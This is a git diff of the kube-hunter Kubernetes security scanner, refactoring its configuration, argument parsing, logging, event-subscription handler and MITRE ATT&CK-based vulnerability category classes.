Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 27 KiB

View File

@@ -75,10 +75,10 @@ in order to prevent circular dependency bug.
Following the above example, let's figure out the imports:
```python
from kube_hunter.core.types import Hunter
from kube_hunter.core.events import handler
from ...core.types import Hunter
from ...core.events import handler
from kube_hunter.core.events.types import OpenPortEvent
from ...core.events.types import OpenPortEvent
@handler.subscribe(OpenPortEvent, predicate=lambda event: event.port == 30000)
class KubeDashboardDiscovery(Hunter):
@@ -90,13 +90,13 @@ class KubeDashboardDiscovery(Hunter):
As you can see, all of the types here come from the `core` module.
### Core Imports
Absolute import: `kube_hunter.core.events`
relative import: `...core.events`
|Name|Description|
|---|---|
|handler|Core object for using events, every module should import this object|
Absolute import `kube_hunter.core.events.types`
relative import `...core.events.types`
|Name|Description|
|---|---|
@@ -104,7 +104,7 @@ Absolute import `kube_hunter.core.events.types`
|Vulnerability|Base class for defining a new vulnerability|
|OpenPortEvent|Published when a new port is discovered. open port is assigned to the `port ` attribute|
Absolute import: `kube_hunter.core.types`
relative import: `...core.types`
|Type|Description|
|---|---|

View File

@@ -0,0 +1,4 @@
from . import core
from . import modules
__all__ = [core, modules]

View File

@@ -1,48 +1,19 @@
#!/usr/bin/env python3
# flake8: noqa: E402
import logging
import threading
from kube_hunter.conf import Config, set_config
from kube_hunter.conf.parser import parse_args
from kube_hunter.conf.logging import setup_logger
from kube_hunter.plugins import initialize_plugin_manager
pm = initialize_plugin_manager()
# Using a plugin hook for adding arguments before parsing
args = parse_args(add_args_hook=pm.hook.parser_add_arguments)
config = Config(
active=args.active,
cidr=args.cidr,
include_patched_versions=args.include_patched_versions,
interface=args.interface,
log_file=args.log_file,
mapping=args.mapping,
network_timeout=args.network_timeout,
pod=args.pod,
quick=args.quick,
remote=args.remote,
statistics=args.statistics,
k8s_auto_discover_nodes=args.k8s_auto_discover_nodes,
service_account_token=args.service_account_token,
kubeconfig=args.kubeconfig,
)
setup_logger(args.log, args.log_file)
set_config(config)
# Running all other registered plugins before execution
pm.hook.load_plugin(args=args)
from kube_hunter.conf import config
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import HuntFinished, HuntStarted
from kube_hunter.modules.discovery.hosts import RunningAsPodEvent, HostScanEvent
from kube_hunter.modules.report import get_reporter, get_dispatcher
config.reporter = get_reporter(config.report)
config.dispatcher = get_dispatcher(config.dispatch)
logger = logging.getLogger(__name__)
config.dispatcher = get_dispatcher(args.dispatch)
config.reporter = get_reporter(args.report)
import kube_hunter # noqa
def interactive_set_config():
@@ -76,24 +47,25 @@ def list_hunters():
print("\nPassive Hunters:\n----------------")
for hunter, docs in handler.passive_hunters.items():
name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n")
print("* {}\n {}\n".format(name, doc))
if config.active:
print("\n\nActive Hunters:\n---------------")
for hunter, docs in handler.active_hunters.items():
name, doc = hunter.parse_docs(docs)
print(f"* {name}\n {doc}\n")
print("* {}\n {}\n".format(name, doc))
global hunt_started_lock
hunt_started_lock = threading.Lock()
hunt_started = False
def main():
global hunt_started
scan_options = [config.pod, config.cidr, config.remote, config.interface, config.k8s_auto_discover_nodes]
scan_options = [config.pod, config.cidr, config.remote, config.interface]
try:
if args.list:
if config.list:
list_hunters()
return

View File

@@ -1,55 +1,8 @@
from dataclasses import dataclass
from typing import Any, Optional
from kube_hunter.conf.parser import parse_args
from kube_hunter.conf.logging import setup_logger
@dataclass
class Config:
"""Config is a configuration container.
It contains the following fields:
- active: Enable active hunters
- cidr: Network subnets to scan
- dispatcher: Dispatcher object
- include_patched_version: Include patches in version comparison
- interface: Interface scanning mode
- list_hunters: Print a list of existing hunters
- log_level: Log level
- log_file: Log File path
- mapping: Report only found components
- network_timeout: Timeout for network operations
- pod: From pod scanning mode
- quick: Quick scanning mode
- remote: Hosts to scan
- report: Output format
- statistics: Include hunters statistics
"""
config = parse_args()
setup_logger(config.log)
active: bool = False
cidr: Optional[str] = None
dispatcher: Optional[Any] = None
include_patched_versions: bool = False
interface: bool = False
log_file: Optional[str] = None
mapping: bool = False
network_timeout: float = 5.0
pod: bool = False
quick: bool = False
remote: Optional[str] = None
reporter: Optional[Any] = None
statistics: bool = False
k8s_auto_discover_nodes: bool = False
service_account_token: Optional[str] = None
kubeconfig: Optional[str] = None
_config: Optional[Config] = None
def get_config() -> Config:
if not _config:
raise ValueError("Configuration is not initialized")
return _config
def set_config(new_config: Config) -> None:
global _config
_config = new_config
__all__ = [config]

View File

@@ -1,5 +1,6 @@
import logging
DEFAULT_LEVEL = logging.INFO
DEFAULT_LEVEL_NAME = logging.getLevelName(DEFAULT_LEVEL)
LOG_FORMAT = "%(asctime)s %(levelname)s %(name)s %(message)s"
@@ -9,7 +10,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.CRITICAL)
logging.getLogger("scapy.loading").setLevel(logging.CRITICAL)
def setup_logger(level_name, logfile):
def setup_logger(level_name):
# Remove any existing handlers
# Unnecessary in Python 3.8 since `logging.basicConfig` has `force` parameter
for h in logging.getLogger().handlers[:]:
@@ -20,10 +21,7 @@ def setup_logger(level_name, logfile):
logging.disable(logging.CRITICAL)
else:
log_level = getattr(logging, level_name.upper(), None)
log_level = log_level if isinstance(log_level, int) else None
if logfile is None:
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
else:
logging.basicConfig(filename=logfile, level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
log_level = log_level if type(log_level) is int else None
logging.basicConfig(level=log_level or DEFAULT_LEVEL, format=LOG_FORMAT)
if not log_level:
logging.warning(f"Unknown log level '{level_name}', using {DEFAULT_LEVEL_NAME}")

View File

@@ -1,17 +1,11 @@
from argparse import ArgumentParser
from kube_hunter.plugins import hookimpl
@hookimpl
def parser_add_arguments(parser):
"""
This is the default hook implementation for parse_add_argument
Contains initialization for all default arguments
"""
def parse_args():
parser = ArgumentParser(description="kube-hunter - hunt for security weaknesses in Kubernetes clusters")
parser.add_argument(
"--list",
action="store_true",
help="Displays all tests in kubehunter (add --active flag to see active tests)",
"--list", action="store_true", help="Displays all tests in kubehunter (add --active flag to see active tests)",
)
parser.add_argument("--interface", action="store_true", help="Set hunting on all network interfaces")
@@ -21,9 +15,7 @@ def parser_add_arguments(parser):
parser.add_argument("--quick", action="store_true", help="Prefer quick scan (subnet 24)")
parser.add_argument(
"--include-patched-versions",
action="store_true",
help="Don't skip patched versions when scanning",
"--include-patched-versions", action="store_true", help="Don't skip patched versions when scanning",
)
parser.add_argument(
@@ -33,45 +25,11 @@ def parser_add_arguments(parser):
)
parser.add_argument(
"--mapping",
action="store_true",
help="Outputs only a mapping of the cluster's nodes",
"--mapping", action="store_true", help="Outputs only a mapping of the cluster's nodes",
)
parser.add_argument(
"--remote",
nargs="+",
metavar="HOST",
default=list(),
help="One or more remote ip/dns to hunt",
)
parser.add_argument(
"--k8s-auto-discover-nodes",
action="store_true",
help="Enables automatic detection of all nodes in a Kubernetes cluster "
"by quering the Kubernetes API server. "
"It supports both in-cluster config (when running as a pod), "
"and a specific kubectl config file (use --kubeconfig to set this). "
"By default, when this flag is set, it will use in-cluster config. "
"NOTE: this is automatically switched on in --pod mode.",
)
parser.add_argument(
"--service-account-token",
type=str,
metavar="JWT_TOKEN",
help="Manually specify the service account jwt token to use for authenticating in the hunting process "
"NOTE: This overrides the loading of the pod's bounded authentication when running in --pod mode",
)
parser.add_argument(
"--kubeconfig",
type=str,
metavar="KUBECONFIG",
default=None,
help="Specify the kubeconfig file to use for Kubernetes nodes auto discovery "
" (to be used in conjuction with the --k8s-auto-discover-nodes flag.",
"--remote", nargs="+", metavar="HOST", default=list(), help="One or more remote ip/dns to hunt",
)
parser.add_argument("--active", action="store_true", help="Enables active hunting")
@@ -85,17 +43,7 @@ def parser_add_arguments(parser):
)
parser.add_argument(
"--log-file",
type=str,
default=None,
help="Path to a log file to output all logs to",
)
parser.add_argument(
"--report",
type=str,
default="plain",
help="Set report type, options are: plain, yaml, json",
"--report", type=str, default="plain", help="Set report type, options are: plain, yaml, json",
)
parser.add_argument(
@@ -111,18 +59,6 @@ def parser_add_arguments(parser):
parser.add_argument("--network-timeout", type=float, default=5.0, help="network operations timeout")
def parse_args(add_args_hook):
"""
Function handles all argument parsing
@param add_arguments: hook for adding arguments to it's given ArgumentParser parameter
@return: parsed arguments dict
"""
parser = ArgumentParser(description="kube-hunter - hunt for security weaknesses in Kubernetes clusters")
# adding all arguments to the parser
add_args_hook(parser=parser)
args = parser.parse_args()
if args.cidr:
args.cidr = args.cidr.replace(" ", "").split(",")

View File

@@ -1,3 +1,4 @@
# flake8: noqa: E402
from . import types
from . import events
__all__ = [types, events]

View File

@@ -1,3 +1,4 @@
# flake8: noqa: E402
from .handler import EventQueue, handler
from . import types
__all__ = [EventQueue, handler, types]

View File

@@ -4,47 +4,25 @@ from collections import defaultdict
from queue import Queue
from threading import Thread
from kube_hunter.conf import get_config
from kube_hunter.conf import config
from kube_hunter.core.types import ActiveHunter, HunterBase
from kube_hunter.core.events.types import Vulnerability, EventFilterBase, MultipleEventsContainer
from kube_hunter.core.events.types import Vulnerability, EventFilterBase
logger = logging.getLogger(__name__)
# Inherits Queue object, handles events asynchronously
class EventQueue(Queue):
class EventQueue(Queue, object):
def __init__(self, num_worker=10):
super().__init__()
super(EventQueue, self).__init__()
self.passive_hunters = dict()
self.active_hunters = dict()
self.all_hunters = dict()
self.running = True
self.workers = list()
# -- Regular Subscription --
# Structure: key: Event Class, value: tuple(Registered Hunter, Predicate Function)
self.hooks = defaultdict(list)
self.filters = defaultdict(list)
# --------------------------
# -- Multiple Subscription --
# Structure: key: Event Class, value: tuple(Registered Hunter, Predicate Function)
self.multi_hooks = defaultdict(list)
# When subscribing to multiple events, this gets populated with required event classes
# Structure: key: Hunter Class, value: set(RequiredEventClass1, RequiredEventClass2)
self.hook_dependencies = defaultdict(set)
# To keep track of fulfilled dependencies. we need to have a structure which saves historical instanciated
# events mapped to a registered hunter.
# We used a 2 dimensional dictionary in order to fulfill two demands:
# * correctly count published required events
# * save historical events fired, easily sorted by their type
#
# Structure: hook_fulfilled_deps[hunter_class] -> fulfilled_events_for_hunter[event_class] -> [EventObject, EventObject2]
self.hook_fulfilled_deps = defaultdict(lambda: defaultdict(list))
# ---------------------------
self.running = True
self.workers = list()
for _ in range(num_worker):
t = Thread(target=self.worker)
@@ -56,66 +34,16 @@ class EventQueue(Queue):
t.daemon = True
t.start()
"""
######################################################
+ ----------------- Public Methods ----------------- +
######################################################
"""
# decorator wrapping for easy subscription
def subscribe(self, event, hook=None, predicate=None):
"""
The Subscribe Decorator - For Regular Registration
Use this to register for one event only. Your hunter will execute each time this event is published
@param event - Event class to subscribe to
@param predicate - Optional: Function that will be called with the published event as a parameter before trigger.
If it's return value is False, the Hunter will not run (default=None).
@param hook - Hunter class to register for (ignore when using as a decorator)
"""
def wrapper(hook):
self.subscribe_event(event, hook=hook, predicate=predicate)
return hook
return wrapper
def subscribe_many(self, events, hook=None, predicates=None):
"""
The Subscribe Many Decorator - For Multiple Registration,
When your attack needs several prerequisites to exist in the cluster, You need to register for multiple events.
Your hunter will execute once for every new combination of required events.
For example:
1. event A was published 3 times
2. event B was published once.
3. event B was published again
Your hunter will execute 2 times:
* (on step 2) with the newest version of A
* (on step 3) with the newest version of A and newest version of B
@param events - List of event classes to subscribe to
@param predicates - Optional: List of function that will be called with the published event as a parameter before trigger.
If it's return value is False, the Hunter will not run (default=None).
@param hook - Hunter class to register for (ignore when using as a decorator)
"""
def wrapper(hook):
self.subscribe_events(events, hook=hook, predicates=predicates)
return hook
return wrapper
# wrapper takes care of the subscribe once mechanism
def subscribe_once(self, event, hook=None, predicate=None):
"""
The Subscribe Once Decorator - For Single Trigger Registration,
Use this when you want your hunter to execute only in your entire program run
wraps subscribe_event method
@param events - List of event classes to subscribe to
@param predicates - Optional: List of function that will be called with the published event as a parameter before trigger.
If it's return value is False, the Hunter will not run (default=None).
@param hook - Hunter class to register for (ignore when using as a decorator)
"""
def wrapper(hook):
# installing a __new__ magic method on the hunter
# which will remove the hunter from the list upon creation
@@ -130,160 +58,28 @@ class EventQueue(Queue):
return wrapper
def publish_event(self, event, caller=None):
"""
The Publish Event Method - For Publishing Events To Kube-Hunter's Queue
"""
# Document that the hunter published a vulnerability (if it's indeed a vulnerability)
# For statistics options
self._increase_vuln_count(event, caller)
# sets the event's parent to be it's publisher hunter.
self._set_event_chain(event, caller)
# applying filters on the event, before publishing it to subscribers.
# if filter returned None, not proceeding to publish
event = self.apply_filters(event)
if event:
# If event was rewritten, make sure it's linked again
self._set_event_chain(event, caller)
# Regular Hunter registrations - publish logic
# Here we iterate over all the registered-to events:
for hooked_event in self.hooks.keys():
# We check if the event we want to publish is an inherited class of the current registered-to iterated event
# Meaning - if this is a relevant event:
if hooked_event in event.__class__.__mro__:
# If so, we want to publish to all registerd hunters.
for hook, predicate in self.hooks[hooked_event]:
if predicate and not predicate(event):
continue
self.put(hook(event))
logger.debug(f"Event {event.__class__} got published to hunter - {hook} with {event}")
# Multiple Hunter registrations - publish logic
# Here we iterate over all the registered-to events:
for hooked_event in self.multi_hooks.keys():
# We check if the event we want to publish is an inherited class of the current registered-to iterated event
# Meaning - if this is a relevant event:
if hooked_event in event.__class__.__mro__:
# now we iterate over the corresponding registered hunters.
for hook, predicate in self.multi_hooks[hooked_event]:
if predicate and not predicate(event):
continue
self._update_multi_hooks(hook, event)
if self._is_all_fulfilled_for_hunter(hook):
events_container = MultipleEventsContainer(self._get_latest_events_from_multi_hooks(hook))
self.put(hook(events_container))
logger.debug(
f"Multiple subscription requirements were met for hunter {hook}. events container was \
published with {self.hook_fulfilled_deps[hook].keys()}"
)
"""
######################################################
+ ---------------- Private Methods ----------------- +
+ ---------------- (Backend Logic) ----------------- +
######################################################
"""
def _get_latest_events_from_multi_hooks(self, hook):
"""
Iterates over fulfilled deps for the hunter, and fetching the latest appended events from history
"""
latest_events = list()
for event_class in self.hook_fulfilled_deps[hook].keys():
latest_events.append(self.hook_fulfilled_deps[hook][event_class][-1])
return latest_events
def _update_multi_hooks(self, hook, event):
"""
Updates published events in the multi hooks fulfilled store.
"""
self.hook_fulfilled_deps[hook][event.__class__].append(event)
def _is_all_fulfilled_for_hunter(self, hook):
"""
Returns true for multi hook fulfilled, else oterwise
"""
# Check if the first dimension already contains all necessary event classes
return len(self.hook_fulfilled_deps[hook].keys()) == len(self.hook_dependencies[hook])
def _set_event_chain(self, event, caller):
"""
Sets' events attribute chain.
In here we link the event with it's publisher (Hunter),
so in the next hunter that catches this event, we could access the previous one's attributes.
@param event: the event object to be chained
@param caller: the Hunter object that published this event.
"""
if caller:
event.previous = caller.event
event.hunter = caller.__class__
def _register_hunters(self, hook=None):
"""
This method is called when a Hunter registers itself to the handler.
this is done in order to track and correctly configure the current run of the program.
passive_hunters, active_hunters, all_hunters
"""
config = get_config()
# getting uninstantiated event object
def subscribe_event(self, event, hook=None, predicate=None):
if ActiveHunter in hook.__mro__:
if not config.active:
return False
else:
self.active_hunters[hook] = hook.__doc__
return
self.active_hunters[hook] = hook.__doc__
elif HunterBase in hook.__mro__:
self.passive_hunters[hook] = hook.__doc__
if HunterBase in hook.__mro__:
self.all_hunters[hook] = hook.__doc__
return True
def _register_filter(self, event, hook=None, predicate=None):
if hook not in self.filters[event]:
self.filters[event].append((hook, predicate))
logging.debug("{} filter subscribed to {}".format(hook, event))
def _register_hook(self, event, hook=None, predicate=None):
if hook not in self.hooks[event]:
self.hooks[event].append((hook, predicate))
logging.debug("{} subscribed to {}".format(hook, event))
def subscribe_event(self, event, hook=None, predicate=None):
if not self._register_hunters(hook):
return
# registering filters
if EventFilterBase in hook.__mro__:
self._register_filter(event, hook, predicate)
if hook not in self.filters[event]:
self.filters[event].append((hook, predicate))
logger.debug(f"{hook} filter subscribed to {event}")
# registering hunters
else:
self._register_hook(event, hook, predicate)
def subscribe_events(self, events, hook=None, predicates=None):
if not self._register_hunters(hook):
return False
if predicates is None:
predicates = [None] * len(events)
# registering filters.
if EventFilterBase in hook.__mro__:
for event, predicate in zip(events, predicates):
self._register_filter(event, hook, predicate)
# registering hunters.
else:
for event, predicate in zip(events, predicates):
self.multi_hooks[event].append((hook, predicate))
self.hook_dependencies[hook] = frozenset(events)
elif hook not in self.hooks[event]:
self.hooks[event].append((hook, predicate))
logger.debug(f"{hook} subscribed to {event}")
def apply_filters(self, event):
# if filters are subscribed, apply them on the event
@@ -300,11 +96,34 @@ class EventQueue(Queue):
return None
return event
def _increase_vuln_count(self, event, caller):
config = get_config()
if config.statistics and caller:
if Vulnerability in event.__class__.__mro__:
caller.__class__.publishedVulnerabilities += 1
# getting instantiated event object
def publish_event(self, event, caller=None):
# setting event chain
if caller:
event.previous = caller.event
event.hunter = caller.__class__
# applying filters on the event, before publishing it to subscribers.
# if filter returned None, not proceeding to publish
event = self.apply_filters(event)
if event:
# If event was rewritten, make sure it's linked to its parent ('previous') event
if caller:
event.previous = caller.event
event.hunter = caller.__class__
for hooked_event in self.hooks.keys():
if hooked_event in event.__class__.__mro__:
for hook, predicate in self.hooks[hooked_event]:
if predicate and not predicate(event):
continue
if config.statistics and caller:
if Vulnerability in event.__class__.__mro__:
caller.__class__.publishedVulnerabilities += 1
logger.debug(f"Event {event.__class__} got published with {event}")
self.put(hook(event))
# executes callbacks on dedicated thread as a daemon
def worker(self):

View File

@@ -1,40 +1,23 @@
import logging
import threading
import requests
import logging
from kube_hunter.conf import get_config
from kube_hunter.core.types import KubernetesCluster
from kube_hunter.core.types.vulnerabilities import (
GeneralSensitiveInformationTechnique,
ExposedSensitiveInterfacesTechnique,
MountServicePrincipalTechnique,
ListK8sSecretsTechnique,
AccessContainerServiceAccountTechnique,
AccessK8sApiServerTechnique,
AccessKubeletAPITechnique,
AccessK8sDashboardTechnique,
InstanceMetadataApiTechnique,
ExecIntoContainerTechnique,
SidecarInjectionTechnique,
NewContainerTechnique,
GeneralPersistenceTechnique,
HostPathMountPrivilegeEscalationTechnique,
PrivilegedContainerTechnique,
ClusterAdminBindingTechnique,
ARPPoisoningTechnique,
CoreDNSPoisoningTechnique,
DataDestructionTechnique,
GeneralDefenseEvasionTechnique,
ConnectFromProxyServerTechnique,
CVERemoteCodeExecutionCategory,
CVEPrivilegeEscalationCategory,
CVEDenialOfServiceTechnique,
from kube_hunter.conf import config
from kube_hunter.core.types import (
InformationDisclosure,
DenialOfService,
RemoteCodeExec,
IdentityTheft,
PrivilegeEscalation,
AccessRisk,
UnauthenticatedAccess,
KubernetesCluster,
)
logger = logging.getLogger(__name__)
class EventFilterBase:
class EventFilterBase(object):
def __init__(self, event):
self.event = event
@@ -45,7 +28,7 @@ class EventFilterBase:
return self.event
class Event:
class Event(object):
def __init__(self):
self.previous = None
self.hunter = None
@@ -79,33 +62,13 @@ class Event:
return history
class MultipleEventsContainer(Event):
"""
This is the class of the object an hunter will get if he was registered to multiple events.
"""
def __init__(self, events):
self.events = events
def get_by_class(self, event_class):
for event in self.events:
if event.__class__ == event_class:
return event
class Service:
class Service(object):
def __init__(self, name, path="", secure=True):
self.name = name
self.secure = secure
self.path = path
self.role = "Node"
# if a service account token was specified, we load it to the Service class
# We load it here because generally all kuberentes services could be authenticated with the token
config = get_config()
if config.service_account_token:
self.auth_token = config.service_account_token
def get_name(self):
return self.name
@@ -116,33 +79,16 @@ class Service:
return self.__doc__
class Vulnerability:
class Vulnerability(object):
severity = dict(
{
GeneralSensitiveInformationTechnique: "low",
ExposedSensitiveInterfacesTechnique: "high",
MountServicePrincipalTechnique: "high",
ListK8sSecretsTechnique: "high",
AccessContainerServiceAccountTechnique: "low",
AccessK8sApiServerTechnique: "medium",
AccessKubeletAPITechnique: "medium",
AccessK8sDashboardTechnique: "medium",
InstanceMetadataApiTechnique: "high",
ExecIntoContainerTechnique: "high",
SidecarInjectionTechnique: "high",
NewContainerTechnique: "high",
GeneralPersistenceTechnique: "high",
HostPathMountPrivilegeEscalationTechnique: "high",
PrivilegedContainerTechnique: "high",
ClusterAdminBindingTechnique: "high",
ARPPoisoningTechnique: "medium",
CoreDNSPoisoningTechnique: "high",
DataDestructionTechnique: "high",
GeneralDefenseEvasionTechnique: "high",
ConnectFromProxyServerTechnique: "low",
CVERemoteCodeExecutionCategory: "high",
CVEPrivilegeEscalationCategory: "high",
CVEDenialOfServiceTechnique: "medium",
InformationDisclosure: "medium",
DenialOfService: "medium",
RemoteCodeExec: "high",
IdentityTheft: "high",
PrivilegeEscalation: "high",
AccessRisk: "low",
UnauthenticatedAccess: "low",
}
)
@@ -172,6 +118,7 @@ class Vulnerability:
return self.severity.get(self.category, "low")
global event_id_count_lock
event_id_count_lock = threading.Lock()
event_id_count = 0
@@ -193,17 +140,15 @@ class NewHostEvent(Event):
return self.cloud_type
def get_cloud(self):
config = get_config()
try:
logger.debug("Checking whether the cluster is deployed on azure's cloud")
# Leverage 3rd tool https://github.com/blrchen/AzureSpeed for Azure cloud ip detection
result = requests.get(
f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}",
timeout=config.network_timeout,
f"https://api.azurespeed.com/api/region?ipOrUrl={self.host}", timeout=config.network_timeout,
).json()
return result["cloud"] or "NoCloud"
except requests.ConnectionError:
logger.info("Failed to connect cloud type service", exc_info=True)
logger.info(f"Failed to connect cloud type service", exc_info=True)
except Exception:
logger.warning(f"Unable to check cloud of {self.host}", exc_info=True)
return "NoCloud"
@@ -245,23 +190,16 @@ class ReportDispatched(Event):
class K8sVersionDisclosure(Vulnerability, Event):
"""The kubernetes version could be obtained from the {} endpoint"""
"""The kubernetes version could be obtained from the {} endpoint """
def __init__(self, version, from_endpoint, extra_info="", category=None):
def __init__(self, version, from_endpoint, extra_info=""):
Vulnerability.__init__(
self,
KubernetesCluster,
"K8s Version Disclosure",
category=ExposedSensitiveInterfacesTechnique,
vid="KHV002",
self, KubernetesCluster, "K8s Version Disclosure", category=InformationDisclosure, vid="KHV002",
)
self.version = version
self.from_endpoint = from_endpoint
self.extra_info = extra_info
self.evidence = version
# depending from where the version came from, we might want to also override the category
if category:
self.category = category
def explain(self):
return self.__doc__.format(self.from_endpoint) + self.extra_info

88
kube_hunter/core/types.py Normal file
View File

@@ -0,0 +1,88 @@
class HunterBase(object):
publishedVulnerabilities = 0
@staticmethod
def parse_docs(docs):
"""returns tuple of (name, docs)"""
if not docs:
return __name__, "<no documentation>"
docs = docs.strip().split("\n")
for i, line in enumerate(docs):
docs[i] = line.strip()
return docs[0], " ".join(docs[1:]) if len(docs[1:]) else "<no documentation>"
@classmethod
def get_name(cls):
name, _ = cls.parse_docs(cls.__doc__)
return name
def publish_event(self, event):
handler.publish_event(event, caller=self)
class ActiveHunter(HunterBase):
pass
class Hunter(HunterBase):
pass
class Discovery(HunterBase):
pass
class KubernetesCluster:
"""Kubernetes Cluster"""
name = "Kubernetes Cluster"
class KubectlClient:
"""The kubectl client binary is used by the user to interact with the cluster"""
name = "Kubectl Client"
class Kubelet(KubernetesCluster):
"""The kubelet is the primary "node agent" that runs on each node"""
name = "Kubelet"
class Azure(KubernetesCluster):
"""Azure Cluster"""
name = "Azure"
class InformationDisclosure:
name = "Information Disclosure"
class RemoteCodeExec:
name = "Remote Code Execution"
class IdentityTheft:
name = "Identity Theft"
class UnauthenticatedAccess:
name = "Unauthenticated Access"
class AccessRisk:
name = "Access Risk"
class PrivilegeEscalation(KubernetesCluster):
name = "Privilege Escalation"
class DenialOfService:
name = "Denial of Service"
# import is in the bottom to break import loops
from .events import handler # noqa

View File

@@ -1,4 +0,0 @@
# flake8: noqa: E402
from .hunters import *
from .components import *
from .vulnerabilities import *

View File

@@ -1,28 +0,0 @@
class KubernetesCluster:
"""Kubernetes Cluster"""
name = "Kubernetes Cluster"
class KubectlClient:
"""The kubectl client binary is used by the user to interact with the cluster"""
name = "Kubectl Client"
class Kubelet(KubernetesCluster):
"""The kubelet is the primary "node agent" that runs on each node"""
name = "Kubelet"
class AWS(KubernetesCluster):
"""AWS Cluster"""
name = "AWS"
class Azure(KubernetesCluster):
"""Azure Cluster"""
name = "Azure"

View File

@@ -1,36 +0,0 @@
class HunterBase:
publishedVulnerabilities = 0
@staticmethod
def parse_docs(docs):
"""returns tuple of (name, docs)"""
if not docs:
return __name__, "<no documentation>"
docs = docs.strip().split("\n")
for i, line in enumerate(docs):
docs[i] = line.strip()
return docs[0], " ".join(docs[1:]) if len(docs[1:]) else "<no documentation>"
@classmethod
def get_name(cls):
name, _ = cls.parse_docs(cls.__doc__)
return name
def publish_event(self, event):
# Import here to avoid circular import from events package.
# imports are cached in python so this should not affect runtime
from ..events import handler # noqa
handler.publish_event(event, caller=self)
class ActiveHunter(HunterBase):
pass
class Hunter(HunterBase):
pass
class Discovery(HunterBase):
pass

View File

@@ -1,188 +0,0 @@
"""
Vulnerabilities are divided into 2 main categories.
MITRE Category
--------------
Vulnerability that correlates to a method in the official MITRE ATT&CK matrix for kubernetes
CVE Category
-------------
"General" category definition. The category is usually determined by the severity of the CVE
"""
class MITRECategory:
@classmethod
def get_name(cls):
"""
Returns the full name of MITRE technique: <MITRE CATEGORY> // <MITRE TECHNIQUE>
Should only be used on a direct technique class at the end of the MITRE inheritance chain.
Example inheritance:
MITRECategory -> InitialAccessCategory -> ExposedSensitiveInterfacesTechnique
"""
inheritance_chain = cls.__mro__
if len(inheritance_chain) >= 4:
# -3 == index of mitreCategory class. (object class is first)
mitre_category_class = inheritance_chain[-3]
return f"{mitre_category_class.name} // {cls.name}"
class CVECategory:
@classmethod
def get_name(cls):
"""
Returns the full name of the category: CVE // <CVE Category name>
"""
return f"CVE // {cls.name}"
"""
MITRE ATT&CK Technique Categories
"""
class InitialAccessCategory(MITRECategory):
name = "Initial Access"
class ExecutionCategory(MITRECategory):
name = "Execution"
class PersistenceCategory(MITRECategory):
name = "Persistence"
class PrivilegeEscalationCategory(MITRECategory):
name = "Privilege Escalation"
class DefenseEvasionCategory(MITRECategory):
name = "Defense Evasion"
class CredentialAccessCategory(MITRECategory):
name = "Credential Access"
class DiscoveryCategory(MITRECategory):
name = "Discovery"
class LateralMovementCategory(MITRECategory):
name = "Lateral Movement"
class CollectionCategory(MITRECategory):
name = "Collection"
class ImpactCategory(MITRECategory):
name = "Impact"
"""
MITRE ATT&CK Techniques
"""
class GeneralSensitiveInformationTechnique(InitialAccessCategory):
name = "General Sensitive Information"
class ExposedSensitiveInterfacesTechnique(InitialAccessCategory):
name = "Exposed sensitive interfaces"
class MountServicePrincipalTechnique(CredentialAccessCategory):
name = "Mount service principal"
class ListK8sSecretsTechnique(CredentialAccessCategory):
name = "List K8S secrets"
class AccessContainerServiceAccountTechnique(CredentialAccessCategory):
name = "Access container service account"
class AccessK8sApiServerTechnique(DiscoveryCategory):
name = "Access the K8S API Server"
class AccessKubeletAPITechnique(DiscoveryCategory):
name = "Access Kubelet API"
class AccessK8sDashboardTechnique(DiscoveryCategory):
name = "Access Kubernetes Dashboard"
class InstanceMetadataApiTechnique(DiscoveryCategory):
name = "Instance Metadata API"
class ExecIntoContainerTechnique(ExecutionCategory):
name = "Exec into container"
class SidecarInjectionTechnique(ExecutionCategory):
name = "Sidecar injection"
class NewContainerTechnique(ExecutionCategory):
name = "New container"
class GeneralPersistenceTechnique(PersistenceCategory):
name = "General Peristence"
class HostPathMountPrivilegeEscalationTechnique(PrivilegeEscalationCategory):
name = "hostPath mount"
class PrivilegedContainerTechnique(PrivilegeEscalationCategory):
name = "Privileged container"
class ClusterAdminBindingTechnique(PrivilegeEscalationCategory):
name = "Cluser-admin binding"
class ARPPoisoningTechnique(LateralMovementCategory):
name = "ARP poisoning and IP spoofing"
class CoreDNSPoisoningTechnique(LateralMovementCategory):
name = "CoreDNS poisoning"
class DataDestructionTechnique(ImpactCategory):
name = "Data Destruction"
class GeneralDefenseEvasionTechnique(DefenseEvasionCategory):
name = "General Defense Evasion"
class ConnectFromProxyServerTechnique(DefenseEvasionCategory):
name = "Connect from Proxy server"
"""
CVE Categories
"""
class CVERemoteCodeExecutionCategory(CVECategory):
name = "Remote Code Execution (CVE)"
class CVEPrivilegeEscalationCategory(CVECategory):
name = "Privilege Escalation (CVE)"
class CVEDenialOfServiceTechnique(CVECategory):
name = "Denial Of Service (CVE)"

View File

@@ -1,4 +1,5 @@
# flake8: noqa: E402
from . import report
from . import discovery
from . import hunting
__all__ = [report, discovery, hunting]

View File

@@ -1,4 +1,3 @@
# flake8: noqa: E402
from . import (
apiserver,
dashboard,
@@ -9,3 +8,14 @@ from . import (
ports,
proxy,
)
__all__ = [
apiserver,
dashboard,
etcd,
hosts,
kubectl,
kubelet,
ports,
proxy,
]

View File

@@ -1,11 +1,11 @@
import logging
import requests
import logging
from kube_hunter.core.types import Discovery
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import OpenPortEvent, Service, Event, EventFilterBase
from kube_hunter.conf import get_config
from kube_hunter.conf import config
KNOWN_API_PORTS = [443, 6443, 8080]
@@ -57,7 +57,6 @@ class ApiServiceDiscovery(Discovery):
self.publish_event(K8sApiService(protocol))
def has_api_behaviour(self, protocol):
config = get_config()
try:
r = self.session.get(f"{protocol}://{self.event.host}:{self.event.port}", timeout=config.network_timeout)
if ("k8s" in r.text) or ('"code"' in r.text and r.status_code != 200):
@@ -94,7 +93,6 @@ class ApiServiceClassify(EventFilterBase):
def classify_using_version_endpoint(self):
"""Tries to classify by accessing /version. if could not access succeded, returns"""
config = get_config()
try:
endpoint = f"{self.event.protocol}://{self.event.host}:{self.event.port}/version"
versions = self.session.get(endpoint, timeout=config.network_timeout).json()

View File

@@ -2,7 +2,7 @@ import json
import logging
import requests
from kube_hunter.conf import get_config
